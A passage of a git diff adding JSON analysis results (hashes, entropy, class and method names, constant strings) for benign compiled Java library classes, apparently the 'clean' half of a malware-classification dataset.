\ No newline at end of file diff --git a/java_classification/data/clean/6cf5647b0ab61c5871288491746f350f1978acfe344753e333b06032db3f49bc.results b/java_classification/data/clean/6cf5647b0ab61c5871288491746f350f1978acfe344753e333b06032db3f49bc.results new file mode 100755 index 0000000..b6d7d8c --- /dev/null +++ b/java_classification/data/clean/6cf5647b0ab61c5871288491746f350f1978acfe344753e333b06032db3f49bc.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/log4j/AsyncAppender$Dispatcher", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "sourcefile": "AsyncAppender.java", "method_names": ["", "run"], "minor_version": 3, "const_pool_count": 126}}, "_id": "45d21b6f-9241-4976-b45d-834fbda904f1", "metadata": {"mimetype": "application/x-java-applet", "sha1": "84c8ae03d3738bbe64faa63f4803ae2e88381585", "file_name": "java_clean/6cf5647b0ab61c5871288491746f350f1978acfe344753e333b06032db3f49bc", "_id": "45d21b6f-9241-4976-b45d-834fbda904f1", "score": 0, "entropy": 5.704331707553972, "libmagic": "compiled Java class data, version 45.3", "file_size": 2491, "ssdeep": "48:xJjZnlkjPlZh5ubfzHaFh656Ax0fnWs4v9u+tilFLx4bS9:LjLulpumy9ssM+SUbO", "sha256": "6cf5647b0ab61c5871288491746f350f1978acfe344753e333b06032db3f49bc", "md5": "7384c7408561a78834de3dd57cbfd96b", "parent_sha256": "6cf5647b0ab61c5871288491746f350f1978acfe344753e333b06032db3f49bc"}} \ No newline at end of file diff --git a/java_classification/data/clean/6d8553c1c20defbc65e33b80b9e04319f40d21d568fe3af15890d5d3f55e57e8.results b/java_classification/data/clean/6d8553c1c20defbc65e33b80b9e04319f40d21d568fe3af15890d5d3f55e57e8.results new file mode 100755 index 0000000..37f3350 --- /dev/null +++ b/java_classification/data/clean/6d8553c1c20defbc65e33b80b9e04319f40d21d568fe3af15890d5d3f55e57e8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SAXReader.java", "class_name": "org/dom4j/io/SAXReader", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 47, "method_names": ["", "", "", "", "", "", "", "", "setProperty", "setFeature", "read", "read", "read", "read", "read", "read", "read", "read", "isValidating", "setValidation", "isIncludeInternalDTDDeclarations", "setIncludeInternalDTDDeclarations", "isIncludeExternalDTDDeclarations", "setIncludeExternalDTDDeclarations", "isStringInternEnabled", "setStringInternEnabled", "isMergeAdjacentText", "setMergeAdjacentText", "isStripWhitespaceText", "setStripWhitespaceText", "isIgnoreComments", "setIgnoreComments", "getDocumentFactory", "setDocumentFactory", "getErrorHandler", "setErrorHandler", "getEntityResolver", "setEntityResolver", "getXMLReader", "setXMLReader", "getEncoding", "setEncoding", "setXMLReaderClassName", "addHandler", "removeHandler", "setDefaultHandler", "resetHandlers", "getXMLFilter", "setXMLFilter", "installXMLFilter", "getDispatchHandler", "setDispatchHandler", "createXMLReader", "configureReader", "createContentHandler", "createDefaultEntityResolver"], "minor_version": 0, "const_pool_count": 443}}, "_id": "6b9e2d2a-c01b-4623-89ab-6c320e5afa7b", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.434230869981733, "obfuscated_data": {"signatures": {"file": "rot0"}}}, "constant strings": ["file://", "/", "", "Error on line ", " of document ", " : ", "http://xml.org/sax/handlers/LexicalHandler", "http://xml.org/sax/properties/lexical-handler", "http://xml.org/sax/properties/declaration-handler", "http://xml.org/sax/features/namespaces", "http://xml.org/sax/features/namespace-prefixes", "http://xml.org/sax/features/string-interning", "http://xml.org/sax/features/use-locator2", "http://xml.org/sax/features/validation", "Validation not supported for XMLReader: "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b00e816db16be1be3f5119760d49e70c72c43ebe", "file_name": "java_clean/6d8553c1c20defbc65e33b80b9e04319f40d21d568fe3af15890d5d3f55e57e8", "_id": "6b9e2d2a-c01b-4623-89ab-6c320e5afa7b", "score": 0, "entropy": 5.502757622562389, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 13076, "ssdeep": "384:14xdt8ZpBwNzxm0jOdkGygq2BSUbJRt/rwb2dD5:ut8fWNzvOi/tsdH", "sha256": "6d8553c1c20defbc65e33b80b9e04319f40d21d568fe3af15890d5d3f55e57e8", "md5": "8b3e4ed945bba81d5ef6486c3a1b329f", "parent_sha256": "6d8553c1c20defbc65e33b80b9e04319f40d21d568fe3af15890d5d3f55e57e8"}} \ No newline at end of file diff --git a/java_classification/data/clean/6e2be71f9e7e468ecdf976bd9c2ea1c4c2a472a4feee1c2213c58d7ba1611cf7.results b/java_classification/data/clean/6e2be71f9e7e468ecdf976bd9c2ea1c4c2a472a4feee1c2213c58d7ba1611cf7.results new file mode 100755 index 0000000..5202298 --- /dev/null +++ b/java_classification/data/clean/6e2be71f9e7e468ecdf976bd9c2ea1c4c2a472a4feee1c2213c58d7ba1611cf7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 47, "class_name": "org/apache/commons/io/comparator/LastModifiedFileComparator", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/util/Comparator", "java/io/Serializable"], "sourcefile": "LastModifiedFileComparator.java", "method_names": ["", "compare", ""], "minor_version": 0, "const_pool_count": 50}}, "_id": "bb00f4ca-9a78-492a-867c-36928dd5ca60", "metadata": {"mimetype": "application/x-java-applet", "sha1": "0ac7daf25c2dd1b049e8d2914ab7135034a5037f", "file_name": "java_clean/6e2be71f9e7e468ecdf976bd9c2ea1c4c2a472a4feee1c2213c58d7ba1611cf7", "_id": "bb00f4ca-9a78-492a-867c-36928dd5ca60", "score": 0, "entropy": 5.371008788262756, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 1070, "ssdeep": "24:D4TY4yQuljy6WBgfgQD4I/ys06dsNoBhzze3kh:D4c4yFle6EZQUm069xe3K", "sha256": "6e2be71f9e7e468ecdf976bd9c2ea1c4c2a472a4feee1c2213c58d7ba1611cf7", "md5": "607b988c3252405fdf4af0745809cca7", "parent_sha256": "6e2be71f9e7e468ecdf976bd9c2ea1c4c2a472a4feee1c2213c58d7ba1611cf7"}} \ No newline at end of file diff --git a/java_classification/data/clean/6fac572a09ae008fa1c9ac56e3181f1db4798aac8634d810ab35a74a7a26d07b.results b/java_classification/data/clean/6fac572a09ae008fa1c9ac56e3181f1db4798aac8634d810ab35a74a7a26d07b.results new file mode 100755 index 0000000..e19d04e --- /dev/null +++ b/java_classification/data/clean/6fac572a09ae008fa1c9ac56e3181f1db4798aac8634d810ab35a74a7a26d07b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/hadoop/mapred/jobconf_jsp", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "interfaces": ["org/apache/jasper/runtime/JspSourceDependent"], "sourcefile": "jobconf_jsp.java", "method_names": ["", "getDependants", "_jspService"], "minor_version": 0, "const_pool_count": 219}}, "_id": "afa770b1-fe74-4e22-80a6-c796cde30716", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.90661164220619}, "constant strings": ["text/html; charset=UTF-8", "job.tracker", "jobid", "

Missing \\'jobid\\' for fetching job configuration!

", "\\n \\n\\n\\nJob Configuration: JobId - ", "\\n\\n\\n

Job Configuration: JobId - ", "


\\n\\n", "webapps/static/jobconf.xsl", "Failed to retreive job configuration for job \\'", "!", "\\n\\n
\\n"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b124314c26b67439aead4c6a4d6b7698bd0c3104", "file_name": "java_clean/6fac572a09ae008fa1c9ac56e3181f1db4798aac8634d810ab35a74a7a26d07b", "_id": "afa770b1-fe74-4e22-80a6-c796cde30716", "score": 0, "entropy": 5.786353653850899, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4826, "ssdeep": "96:PWOFlms5mv/UrHI+ASwZi69wcDekRMe7i9oUN1:llL6Q+Rr29bv", "sha256": "6fac572a09ae008fa1c9ac56e3181f1db4798aac8634d810ab35a74a7a26d07b", "md5": "f1215ec895b8cef7d050e59fbd1e9736", "parent_sha256": "6fac572a09ae008fa1c9ac56e3181f1db4798aac8634d810ab35a74a7a26d07b"}} \ No newline at end of file diff --git a/java_classification/data/clean/710785b8fcfec9f0b49b33bb20eb3dace1913983e4441cc0a495f6c4c2c3c4f7.results b/java_classification/data/clean/710785b8fcfec9f0b49b33bb20eb3dace1913983e4441cc0a495f6c4c2c3c4f7.results new file mode 100755 index 0000000..23d4e44 --- /dev/null +++ b/java_classification/data/clean/710785b8fcfec9f0b49b33bb20eb3dace1913983e4441cc0a495f6c4c2c3c4f7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/StarmapScreen$13", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "StarmapScreen.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 40}}, "_id": "16b5d7bd-e793-4e59-9c21-a6fcfd195812", "metadata": {"mimetype": "application/x-java-applet", "sha1": "3b3966b6b4bfc4996ed2d07c695704b1d8d8a2ef", "file_name": "java_clean/710785b8fcfec9f0b49b33bb20eb3dace1913983e4441cc0a495f6c4c2c3c4f7", "_id": "16b5d7bd-e793-4e59-9c21-a6fcfd195812", "score": 0, "entropy": 5.137321042558619, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 837, "ssdeep": "12:aAliRgwzIAjPAzYuZ9lPso/A06WCSICIAhmAJ6ARa5PyiUj7DC+zclWYl:aAliOw8AjPAUU9lj/AGMAQ4a5tmeWI", "sha256": "710785b8fcfec9f0b49b33bb20eb3dace1913983e4441cc0a495f6c4c2c3c4f7", "md5": "af55baa6d4942a84f7368c977ab45082", "parent_sha256": "710785b8fcfec9f0b49b33bb20eb3dace1913983e4441cc0a495f6c4c2c3c4f7"}} \ No newline at end of file diff --git a/java_classification/data/clean/719a8c19129c675df1b944affcd0411ab723ef85e3b32a7dc22e272df1e36bf9.results b/java_classification/data/clean/719a8c19129c675df1b944affcd0411ab723ef85e3b32a7dc22e272df1e36bf9.results new file mode 100755 index 0000000..9c4b4c1 --- /dev/null +++ b/java_classification/data/clean/719a8c19129c675df1b944affcd0411ab723ef85e3b32a7dc22e272df1e36bf9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Predicates.java", "class_name": "com/google/common/base/Predicates$ObjectPredicate$2", "access_permissions": ["ACC_FINAL", "ACC_SUPER", "ACC_ENUM"], "major_version": 49, "method_names": ["", "apply"], "minor_version": 0, "const_pool_count": 31}}, "_id": "423f9c74-72da-42dd-847c-561ffdac9df7", "metadata": {"mimetype": "application/x-java-applet", "sha1": "053fad74f9de38c106428f00c98ead7054ba6b5b", "file_name": "java_clean/719a8c19129c675df1b944affcd0411ab723ef85e3b32a7dc22e272df1e36bf9", "_id": "423f9c74-72da-42dd-847c-561ffdac9df7", "score": 0, "entropy": 5.076076762572327, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 835, "ssdeep": "12:XnMAJulPsoxh00TT3lMtCpOW09ALyiUL0Tkn0pq0/MFtIl/sUxkNslAxkExlq5uC:XnuljQHsp54cOXnCqj+kuPyWwt8b1", "sha256": "719a8c19129c675df1b944affcd0411ab723ef85e3b32a7dc22e272df1e36bf9", "md5": "2ffe13c6af34f0774a2abc7a39af5446", "parent_sha256": "719a8c19129c675df1b944affcd0411ab723ef85e3b32a7dc22e272df1e36bf9"}} \ No newline at end of file diff --git a/java_classification/data/clean/719e6543964100b7cf64f779c325470a74c7f23f732e9f39d3bc7a0c11752b2d.results b/java_classification/data/clean/719e6543964100b7cf64f779c325470a74c7f23f732e9f39d3bc7a0c11752b2d.results new file mode 100755 index 0000000..faf363a --- /dev/null +++ b/java_classification/data/clean/719e6543964100b7cf64f779c325470a74c7f23f732e9f39d3bc7a0c11752b2d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Iterators.java", "class_name": "com/google/common/collect/Iterators$1", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "hasNext", "next"], "minor_version": 0, "const_pool_count": 30}}, "_id": "5f011252-edc4-40cf-a30d-faec87a9dee1", "verbose": {"java": {"signatures": ["Lcom/google/common/collect/UnmodifiableIterator;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "feafc9ce19e353dd48a0f9790cb8e6b19b697539", "file_name": "java_clean/719e6543964100b7cf64f779c325470a74c7f23f732e9f39d3bc7a0c11752b2d", "_id": "5f011252-edc4-40cf-a30d-faec87a9dee1", "score": 0, "entropy": 4.9124451734110695, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 743, "ssdeep": "12:Fm5SDQulPsoxhlyDZx71aR32HryiU+P2aRU+DHaAi4SsMAMkza0E6IP/J:FmyQulj5yL1S2Hhz2aRU+7aAhlzaF6Yh", "sha256": "719e6543964100b7cf64f779c325470a74c7f23f732e9f39d3bc7a0c11752b2d", "md5": "53531ef7dbebcd943f0a8f86b6467e9f", "parent_sha256": "719e6543964100b7cf64f779c325470a74c7f23f732e9f39d3bc7a0c11752b2d"}} \ No newline at end of file diff --git a/java_classification/data/clean/72c1776c227531728c70b93ddbe5fd862bc5d10e1ace9a76fddc1ab5d5e93f5e.results b/java_classification/data/clean/72c1776c227531728c70b93ddbe5fd862bc5d10e1ace9a76fddc1ab5d5e93f5e.results new file mode 100755 index 0000000..a8230d1 --- /dev/null +++ b/java_classification/data/clean/72c1776c227531728c70b93ddbe5fd862bc5d10e1ace9a76fddc1ab5d5e93f5e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "PigCombiner.java", "class_name": "org/apache/pig/backend/hadoop/executionengine/mapReduceLayer/PigCombiner", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", ""], "minor_version": 0, "const_pool_count": 25}}, "_id": "4357d9cd-2503-45fc-a5af-0d3ccaaeb5ce", "metadata": {"mimetype": "application/x-java-applet", "sha1": "808c34078bd26eb2dffea0230647ec49b986334b", "file_name": "java_clean/72c1776c227531728c70b93ddbe5fd862bc5d10e1ace9a76fddc1ab5d5e93f5e", "_id": "4357d9cd-2503-45fc-a5af-0d3ccaaeb5ce", "score": 0, "entropy": 5.0412557613615325, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 631, "ssdeep": "12:vvEdsOXghSDQulPso2sCLTRhTGCLTcQR1bCLTAG/ltI7FuhabSaJ519GYVn:Xj1yQulj9w+wLbbwD/XIJu1aJ5mY", "sha256": "72c1776c227531728c70b93ddbe5fd862bc5d10e1ace9a76fddc1ab5d5e93f5e", "md5": "27edca9877280be6e09c142270f5c6f5", "parent_sha256": "72c1776c227531728c70b93ddbe5fd862bc5d10e1ace9a76fddc1ab5d5e93f5e"}} \ No newline at end of file diff --git a/java_classification/data/clean/73542f42c080f107e68a11b7b21af3c3b0b7af1703d7407238fa7d14abcb15fe.results b/java_classification/data/clean/73542f42c080f107e68a11b7b21af3c3b0b7af1703d7407238fa7d14abcb15fe.results new file mode 100755 index 0000000..8472285 --- /dev/null +++ b/java_classification/data/clean/73542f42c080f107e68a11b7b21af3c3b0b7af1703d7407238fa7d14abcb15fe.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "StandardTable.java", "class_name": "com/google/common/collect/StandardTable$Column$KeySet", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "iterator", "size", "isEmpty", "contains", "remove", "clear", "removeAll", "retainAll"], "minor_version": 0, "const_pool_count": 125}}, "_id": "d23856c9-0c41-4730-8a4c-9e32cd2793a3", "verbose": {"java": {"signatures": ["()Ljava/util/Iterator;", "(Ljava/util/Collection<*>;)Z", "(Ljava/util/Collection<*>;)Z", "Ljava/util/AbstractSet;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "862c081e85d01e56cd8675ed0f1799f94485d2d6", "file_name": "java_clean/73542f42c080f107e68a11b7b21af3c3b0b7af1703d7407238fa7d14abcb15fe", "_id": "d23856c9-0c41-4730-8a4c-9e32cd2793a3", "score": 0, "entropy": 5.265436729299603, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3108, "ssdeep": "48:idr/ZrlGfK17uuIPt25OEtUHrqppvAkwjS74zpN8p8+hWtZ:idr9lGfZVEMAOjM4zh+Az", "sha256": "73542f42c080f107e68a11b7b21af3c3b0b7af1703d7407238fa7d14abcb15fe", "md5": "abad69a56aa87eac4323ea4c2d758922", "parent_sha256": "73542f42c080f107e68a11b7b21af3c3b0b7af1703d7407238fa7d14abcb15fe"}} \ No newline at end of file diff --git a/java_classification/data/clean/7355b1cf6d9335f0dc20d41a94753e30ae3e25c507c9c9bbe0a7c0fca8fb7de5.results b/java_classification/data/clean/7355b1cf6d9335f0dc20d41a94753e30ae3e25c507c9c9bbe0a7c0fca8fb7de5.results new file mode 100755 index 0000000..3f46c2e --- /dev/null +++ b/java_classification/data/clean/7355b1cf6d9335f0dc20d41a94753e30ae3e25c507c9c9bbe0a7c0fca8fb7de5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ProxyFactory.java", "class_name": "javassist/util/proxy/ProxyFactory$ClassLoaderProvider", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 48, "method_names": ["get"], "minor_version": 0, "const_pool_count": 13}}, "_id": "fd3acd6b-de29-4890-b0b4-50876965e445", "metadata": {"mimetype": "application/x-java-applet", "sha1": "b06b2318eef0bdf5da7e490c5a237ca91f91a428", "file_name": "java_clean/7355b1cf6d9335f0dc20d41a94753e30ae3e25c507c9c9bbe0a7c0fca8fb7de5", "_id": "fd3acd6b-de29-4890-b0b4-50876965e445", "score": 0, "entropy": 4.968253345813458, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 315, "ssdeep": "6:xOt8aRKlMrXL0dGXL0aRKljv0l/230lLBRP8uRKlWqADn:x6F0dGXLPUvc/23cLBR0u7n", "sha256": "7355b1cf6d9335f0dc20d41a94753e30ae3e25c507c9c9bbe0a7c0fca8fb7de5", "md5": "49a3a0dc2c93c1bdb00abc14db7b086a", "parent_sha256": "7355b1cf6d9335f0dc20d41a94753e30ae3e25c507c9c9bbe0a7c0fca8fb7de5"}} \ No newline at end of file diff --git a/java_classification/data/clean/73c12dd5431e55c00cbd391efeb1677d72dd2edb94b6920cd8c868f3c565f80b.results b/java_classification/data/clean/73c12dd5431e55c00cbd391efeb1677d72dd2edb94b6920cd8c868f3c565f80b.results new file mode 100755 index 0000000..86a0d16 --- /dev/null +++ b/java_classification/data/clean/73c12dd5431e55c00cbd391efeb1677d72dd2edb94b6920cd8c868f3c565f80b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "CallExpr.java", "class_name": "javassist/compiler/ast/CallExpr", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "setMethod", "getMethod", "makeCall", "accept"], "minor_version": 0, "const_pool_count": 60}}, "_id": "d9c6a58b-311d-4d61-a2bb-ebb4efe41701", "metadata": {"mimetype": "application/x-java-applet", "sha1": "ae8b290663970b4d21325c583cb48d4e5db1baf7", "file_name": "java_clean/73c12dd5431e55c00cbd391efeb1677d72dd2edb94b6920cd8c868f3c565f80b", "_id": "d9c6a58b-311d-4d61-a2bb-ebb4efe41701", "score": 0, "entropy": 5.08398144994674, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 1637, "ssdeep": "48:+iQLlEWWBCYwKNE2Nt/mcZy6eAXbEplDj2:mlKwQi622", "sha256": "73c12dd5431e55c00cbd391efeb1677d72dd2edb94b6920cd8c868f3c565f80b", "md5": "59339ab790a946282093c42f43a6213f", "parent_sha256": "73c12dd5431e55c00cbd391efeb1677d72dd2edb94b6920cd8c868f3c565f80b"}} \ No newline at end of file diff --git a/java_classification/data/clean/73d53ac43b6035472e5a93aafff6835e92d958957741c8e11c3189af9094cf29.results b/java_classification/data/clean/73d53ac43b6035472e5a93aafff6835e92d958957741c8e11c3189af9094cf29.results new file mode 100755 index 0000000..4b992ef --- /dev/null +++ b/java_classification/data/clean/73d53ac43b6035472e5a93aafff6835e92d958957741c8e11c3189af9094cf29.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/ImmutableCollection$SerializedForm", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "ImmutableCollection.java", "method_names": ["", "readResolve"], "minor_version": 0, "const_pool_count": 49}}, "_id": "b85dc208-28df-4e03-97c4-b5ff3930145c", "metadata": {"mimetype": "application/x-java-applet", "sha1": "6fcd93efd53df47989be8b24a08d29cd241e3be0", "file_name": "java_clean/73d53ac43b6035472e5a93aafff6835e92d958957741c8e11c3189af9094cf29", "_id": "b85dc208-28df-4e03-97c4-b5ff3930145c", "score": 0, "entropy": 5.2431808820675165, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1087, "ssdeep": "24:WClxWDuljy57OHjKxQer2LObo/PuVxkfx8KHpYr1:/lxWKlgSDeKCbHM53H2r1", "sha256": "73d53ac43b6035472e5a93aafff6835e92d958957741c8e11c3189af9094cf29", "md5": "33e97f3b314cf1a311ee900453d3579e", "parent_sha256": "73d53ac43b6035472e5a93aafff6835e92d958957741c8e11c3189af9094cf29"}} \ No newline at end of file diff --git a/java_classification/data/clean/74cdf45072d41e9fb3cdcbc3167a4511db2223af9bde8a7778734fe6b29a051c.results b/java_classification/data/clean/74cdf45072d41e9fb3cdcbc3167a4511db2223af9bde8a7778734fe6b29a051c.results new file mode 100755 index 0000000..ad48772 --- /dev/null +++ b/java_classification/data/clean/74cdf45072d41e9fb3cdcbc3167a4511db2223af9bde8a7778734fe6b29a051c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/jdesktop/jdic/desktop/internal/BrowserService", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 48, "method_names": ["show", "show"], "minor_version": 0, "const_pool_count": 11}}, "_id": "b4230585-6853-49a8-814a-331d86a304f0", "metadata": {"mimetype": "application/x-java-applet", "sha1": "1ed64ce0666b7f8cfbe66edbac04de398728b8cf", "file_name": "java_clean/74cdf45072d41e9fb3cdcbc3167a4511db2223af9bde8a7778734fe6b29a051c", "_id": "b4230585-6853-49a8-814a-331d86a304f0", "score": 0, "entropy": 5.011332509773608, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 277, "ssdeep": "6:hlnSERFKIVR+6jzXMzfU6dB9AYRP1XJJfU6dBzxQJn:h7FFPMrfBiYRNrfBzwn", "sha256": "74cdf45072d41e9fb3cdcbc3167a4511db2223af9bde8a7778734fe6b29a051c", "md5": "9fa0f16b49020430dc602f3aae54aa7a", "parent_sha256": "74cdf45072d41e9fb3cdcbc3167a4511db2223af9bde8a7778734fe6b29a051c"}} \ No newline at end of file diff --git a/java_classification/data/clean/7554b0072cf91a22281f2aeba07d7690677bf83d4e935b74dc1fb25a812ae560.results b/java_classification/data/clean/7554b0072cf91a22281f2aeba07d7690677bf83d4e935b74dc1fb25a812ae560.results new file mode 100755 index 0000000..de1efd2 --- /dev/null +++ b/java_classification/data/clean/7554b0072cf91a22281f2aeba07d7690677bf83d4e935b74dc1fb25a812ae560.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "InvalidClientIDException.java", "class_name": "javax/jms/InvalidClientIDException", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", ""], "minor_version": 3, "const_pool_count": 22}}, "_id": "7f7a326f-a50a-4fa9-8c23-a20c8eaabcb3", "metadata": {"mimetype": "application/x-java-applet", "sha1": "221309bc6e6e8f8858eff1de188bd6172142fc4a", "file_name": "java_clean/7554b0072cf91a22281f2aeba07d7690677bf83d4e935b74dc1fb25a812ae560", "_id": "7f7a326f-a50a-4fa9-8c23-a20c8eaabcb3", "score": 0, "entropy": 4.9815106537568665, "libmagic": "compiled Java class data, version 45.3", "file_size": 537, "ssdeep": "12:c9sXMRMaMJy12lPC/MO6g2oc7Zx6qwSlh9mjrvkNOmM:cMy12lqWgpc7mqBh9mjrM8", "sha256": "7554b0072cf91a22281f2aeba07d7690677bf83d4e935b74dc1fb25a812ae560", "md5": "7e61b8e51146cc4f51b955b5dc7e2397", "parent_sha256": "7554b0072cf91a22281f2aeba07d7690677bf83d4e935b74dc1fb25a812ae560"}} \ No newline at end of file diff --git a/java_classification/data/clean/75d8382ebe84bdb260197cfa1867d93e56aff9cbf249a70fe9fc30a5bb45e8c7.results b/java_classification/data/clean/75d8382ebe84bdb260197cfa1867d93e56aff9cbf249a70fe9fc30a5bb45e8c7.results new file mode 100755 index 0000000..64e1e57 --- /dev/null +++ b/java_classification/data/clean/75d8382ebe84bdb260197cfa1867d93e56aff9cbf249a70fe9fc30a5bb45e8c7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "AbstractReferenceMap.java", "class_name": "org/apache/commons/collections/map/AbstractReferenceMap$SoftRef", "access_permissions": ["ACC_SUPER"], "major_version": 45, "method_names": ["", "hashCode"], "minor_version": 3, "const_pool_count": 31}}, "_id": "a6ebfa95-1f93-4d6d-be8f-0835f31a4c20", "metadata": {"mimetype": "application/x-java-applet", "sha1": "383f360f79e3e6376da8596ba6b662f241020b83", "file_name": "java_clean/75d8382ebe84bdb260197cfa1867d93e56aff9cbf249a70fe9fc30a5bb45e8c7", "_id": "a6ebfa95-1f93-4d6d-be8f-0835f31a4c20", "score": 0, "entropy": 5.102262580284982, "libmagic": "compiled Java class data, version 45.3", "file_size": 801, "ssdeep": "12:cMNtCNs8qkulPso1NjwtNskm9shRwjvVqvV1jtwlwGi4L8gSVc3:cItCNsculjHjwFyshajvAV1jtwc4LB3", "sha256": "75d8382ebe84bdb260197cfa1867d93e56aff9cbf249a70fe9fc30a5bb45e8c7", "md5": "312e2ab373e554733e9bc2ac80bafaa5", "parent_sha256": "75d8382ebe84bdb260197cfa1867d93e56aff9cbf249a70fe9fc30a5bb45e8c7"}} \ No newline at end of file diff --git a/java_classification/data/clean/761496d8ea53cb85de4fc339b7b4fbf585caf7586f1332aac5e92f2363029f46.results b/java_classification/data/clean/761496d8ea53cb85de4fc339b7b4fbf585caf7586f1332aac5e92f2363029f46.results new file mode 100755 index 0000000..e4ab980 --- /dev/null +++ b/java_classification/data/clean/761496d8ea53cb85de4fc339b7b4fbf585caf7586f1332aac5e92f2363029f46.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 46, "class_name": "org/apache/log4j/lf5/LogRecord", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER", "ACC_ABSTRACT"], "interfaces": ["java/io/Serializable"], "sourcefile": "LogRecord.java", "method_names": ["", "getLevel", "setLevel", "isSevereLevel", "hasThrown", "isFatal", "getCategory", "setCategory", "getMessage", "setMessage", "getSequenceNumber", "setSequenceNumber", "getMillis", "setMillis", "getThreadDescription", "setThreadDescription", "getThrownStackTrace", "setThrownStackTrace", "getThrown", "setThrown", "toString", "getNDC", "setNDC", "getLocation", "setLocation", "resetSequenceNumber", "getNextId", ""], "minor_version": 0, "const_pool_count": 191}}, "_id": "612cd807-3741-405b-aebe-6f45610d61c4", "verbose": {"java": {"constant strings": ["Debug", "", "LogRecord: [", ", ", "]"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2f8534a7bd92a90df863c67e1852f5133cde3d7a", "file_name": "java_clean/761496d8ea53cb85de4fc339b7b4fbf585caf7586f1332aac5e92f2363029f46", "_id": "612cd807-3741-405b-aebe-6f45610d61c4", "score": 0, "entropy": 5.072881799452231, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 4398, "ssdeep": "96:w66bbFlJwwWqd7LOiOZG7pNlbZOdV+uz9C7VqUpTBKid:QbBlVWqdnOFZypNlbZOWuz98pTBL", "sha256": "761496d8ea53cb85de4fc339b7b4fbf585caf7586f1332aac5e92f2363029f46", "md5": "8b3efe906fec011ab9acc1ad6bae1901", "parent_sha256": "761496d8ea53cb85de4fc339b7b4fbf585caf7586f1332aac5e92f2363029f46"}} \ No newline at end of file diff --git a/java_classification/data/clean/7699a365eca54a18bcbe3ff5b9cf4473e1739fd6d10e48c5ffcaee4fcede422d.results b/java_classification/data/clean/7699a365eca54a18bcbe3ff5b9cf4473e1739fd6d10e48c5ffcaee4fcede422d.results new file mode 100755 index 0000000..20c1252 --- /dev/null +++ b/java_classification/data/clean/7699a365eca54a18bcbe3ff5b9cf4473e1739fd6d10e48c5ffcaee4fcede422d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/primitives/SignedBytes$LexicographicalComparator", "access_permissions": ["ACC_FINAL", "ACC_SUPER", "ACC_ENUM"], "interfaces": ["java/util/Comparator"], "sourcefile": "SignedBytes.java", "method_names": ["values", "valueOf", "", "compare", "compare", ""], "minor_version": 0, "const_pool_count": 76}}, "_id": "390daab6-6716-4c86-89b3-2c09d69220f4", "verbose": {"java": {"signatures": ["()V", "Ljava/lang/Enum;Ljava/util/Comparator<[B>;"], "constant strings": ["INSTANCE"], "JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "INSTANCE"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c8c1461d0f7b5e2f4f6bfddcdc85ab3272bd43d4", "file_name": 